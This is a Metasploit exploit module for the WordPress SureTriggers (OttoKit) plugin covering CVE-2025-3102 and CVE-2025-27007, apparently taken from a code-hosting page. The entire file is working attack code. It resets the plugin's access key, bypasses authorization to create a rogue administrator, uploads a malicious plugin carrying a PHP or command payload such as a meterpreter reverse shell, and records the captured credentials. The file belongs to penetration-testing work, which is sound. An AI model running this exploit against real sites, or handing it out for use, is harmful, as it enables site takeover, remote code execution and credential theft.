281 lines
9.5 KiB
Ruby
281 lines
9.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Payload::Php
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Module::HasActions
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)',
|
|
'Description' => %q{
|
|
Exploits two distinct authorization bypasses in SureTriggers/OttoKit plugin:
|
|
- CVE-2025-3102: admin creation via St-Authorization Bearer (empty)
|
|
- CVE-2025-27007: reset access key via connection endpoint & admin creation with Bearer header
|
|
},
|
|
'Author' => [
|
|
'Michael Mazzolini (mikemyers)', # Vulnerability discovery (CVE-2025-3102)
|
|
'Denver Jackson', # Vulnerability discovery (CVE-2025-27007)
|
|
'Khaled Alenazi (Nxploited)', # PoC (CVE-2025-3102)
|
|
'Valentin Lobstein', # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2025-3102'],
|
|
['CVE', '2025-27007'],
|
|
['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
|
|
['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'],
|
|
['URL', 'https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve'],
|
|
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-27007']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => %w[unix linux win php],
|
|
'Arch' => [ARCH_PHP, ARCH_CMD],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'PHP In-Memory',
|
|
{
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP
|
|
# tested with php/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
[
|
|
'Unix In-Memory',
|
|
{
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD
|
|
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
[
|
|
'Windows In-Memory',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2025-03-13',
|
|
'Actions' => [
|
|
['CVE-2025-3102', { 'Description' => 'SureTriggers <= 1.0.78 auth bypass & RCE' }],
|
|
['CVE-2025-27007', { 'Description' => 'SureTriggers <= 1.0.82 auth bypass, reset & RCE' }]
|
|
],
|
|
'DefaultAction' => 'CVE-2025-27007',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('WP_USER', [ true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8) ]),
|
|
OptString.new('WP_PASS', [ true, 'Password for the new administrator', Faker::Internet.password(min_length: 12) ]),
|
|
OptString.new('WP_EMAIL', [ true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8)) ]),
|
|
OptString.new('ST_AUTH', [ false, 'Value for st_authorization header', Rex::Text.rand_text_alphanumeric(16)])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
|
|
|
|
wp_version = wordpress_version
|
|
print_status("Detected WordPress version: #{wp_version}") if wp_version
|
|
|
|
plugin = 'suretriggers'
|
|
max_versions = {
|
|
'cve-2025-3102' => '1.0.78',
|
|
'cve-2025-27007' => '1.0.82'
|
|
}
|
|
max_vuln = max_versions[action.name.downcase]
|
|
|
|
detected = check_plugin_version_from_readme(plugin)&.details&.dig(:version)
|
|
return CheckCode::Unknown("Unable to determine #{plugin} version") unless detected
|
|
|
|
@plugin_version = detected
|
|
|
|
ver = Rex::Version.new(detected)
|
|
if ver <= Rex::Version.new(max_vuln)
|
|
CheckCode::Appears("Detected #{plugin} #{ver} vulnerable to #{action.name}")
|
|
else
|
|
CheckCode::Safe("Detected #{plugin} #{ver} appears patched")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
token = ''
|
|
if action.name.downcase == 'cve-2025-27007'
|
|
reset_access_key
|
|
token = datastore['ST_AUTH']
|
|
end
|
|
|
|
headers = { 'St-Authorization' => "Bearer #{token}" }
|
|
res = create_admin_request(headers)
|
|
unless res&.code == 200 && res.get_json_document&.dig('success')
|
|
fail_with(Failure::UnexpectedReply, "#{action.name}: user creation failed")
|
|
end
|
|
|
|
finalize_admin
|
|
cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
|
|
upload_and_execute_payload(cookie)
|
|
end
|
|
|
|
# Sends a JSON POST to wp-json/<segments>, then retries via rest_route without wp-json
|
|
def send_json_with_fallback(segments, payload, headers)
|
|
# Primary path
|
|
uri = normalize_uri(target_uri.path, 'wp-json', *segments)
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'ctype' => 'application/json',
|
|
'data' => payload,
|
|
'headers' => headers
|
|
)
|
|
# Fallback
|
|
unless res&.code == 200 && res.get_json_document&.dig('success')
|
|
vprint_warning('Primary endpoint failed, trying fallback via rest_route...')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_get' => { 'rest_route' => "/#{segments.join('/')}" },
|
|
'ctype' => 'application/json',
|
|
'data' => payload,
|
|
'headers' => headers
|
|
)
|
|
end
|
|
res
|
|
end
|
|
|
|
def create_admin_request(headers)
|
|
send_json_with_fallback(
|
|
['sure-triggers', 'v1', 'automation', 'action'],
|
|
user_payload.to_json,
|
|
headers
|
|
)
|
|
end
|
|
|
|
def user_agent_header
|
|
return 'SureTriggers' unless @plugin_version
|
|
|
|
@plugin_version < Rex::Version.new('1.0.81') ? 'SureTriggers' : 'OttoKit'
|
|
end
|
|
|
|
def reset_access_key
|
|
print_status('Resetting access key')
|
|
body = {
|
|
'sure-triggers-access-key' => datastore['ST_AUTH'],
|
|
'wp-password' => datastore['WP_PASS'],
|
|
'connection_status' => 'ok',
|
|
'wp-username' => datastore['WP_USER'],
|
|
'connected_email' => datastore['WP_EMAIL']
|
|
}.to_json
|
|
|
|
res = send_json_with_fallback(
|
|
['sure-triggers', 'v1', 'connection', 'create-wp-connection'],
|
|
body,
|
|
{ 'User-Agent' => user_agent_header }
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Key reset failed') unless res&.code == 200 && res.get_json_document&.dig('success')
|
|
print_good('Access key reset successful')
|
|
end
|
|
|
|
def user_payload
|
|
{
|
|
'integration' => 'WordPress',
|
|
'type_event' => 'create_user_if_not_exists',
|
|
'selected_options' => {
|
|
'user_name' => datastore['WP_USER'],
|
|
'password' => datastore['WP_PASS'],
|
|
'user_email' => datastore['WP_EMAIL'],
|
|
'role' => 'administrator'
|
|
},
|
|
'fields' => [],
|
|
'context' => {}
|
|
}
|
|
end
|
|
|
|
def finalize_admin
|
|
print_good("Admin created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
|
|
|
|
create_credential(
|
|
workspace_id: myworkspace_id,
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: datastore['WP_USER'],
|
|
private_type: :password,
|
|
private_data: datastore['WP_PASS'],
|
|
service_name: 'WordPress',
|
|
address: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
protocol: 'tcp',
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
)
|
|
vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")
|
|
|
|
report_host(host: datastore['RHOST'])
|
|
|
|
service = report_service(
|
|
host: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
proto: 'tcp',
|
|
name: fullname,
|
|
info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
|
|
)
|
|
|
|
loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
|
|
loot_path = store_loot(
|
|
'wordpress.admin.created',
|
|
'text/plain',
|
|
datastore['RHOST'],
|
|
loot_data,
|
|
'wp_admin_credentials.txt',
|
|
'WordPress Created Admin Credentials',
|
|
service
|
|
)
|
|
vprint_good("Loot saved to: #{loot_path}")
|
|
|
|
report_vuln(
|
|
host: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
proto: 'tcp',
|
|
service: service,
|
|
name: "SureTriggers Auth Bypass (#{action.name})",
|
|
refs: references,
|
|
info: 'Unauthenticated admin creation via SureTriggers plugin'
|
|
)
|
|
end
|
|
|
|
def upload_and_execute_payload(auth_cookie)
|
|
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
|
|
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
|
|
zip = generate_plugin(plugin, payload_name.sub('.php', ''))
|
|
|
|
print_status('Uploading malicious plugin for code execution...')
|
|
ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
|
|
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok
|
|
|
|
payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
|
|
print_status("Executing payload at #{payload_uri}...")
|
|
register_files_for_cleanup(payload_name, "#{plugin}.php")
|
|
register_dir_for_cleanup("../#{plugin}")
|
|
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
|
|
end
|
|
end
|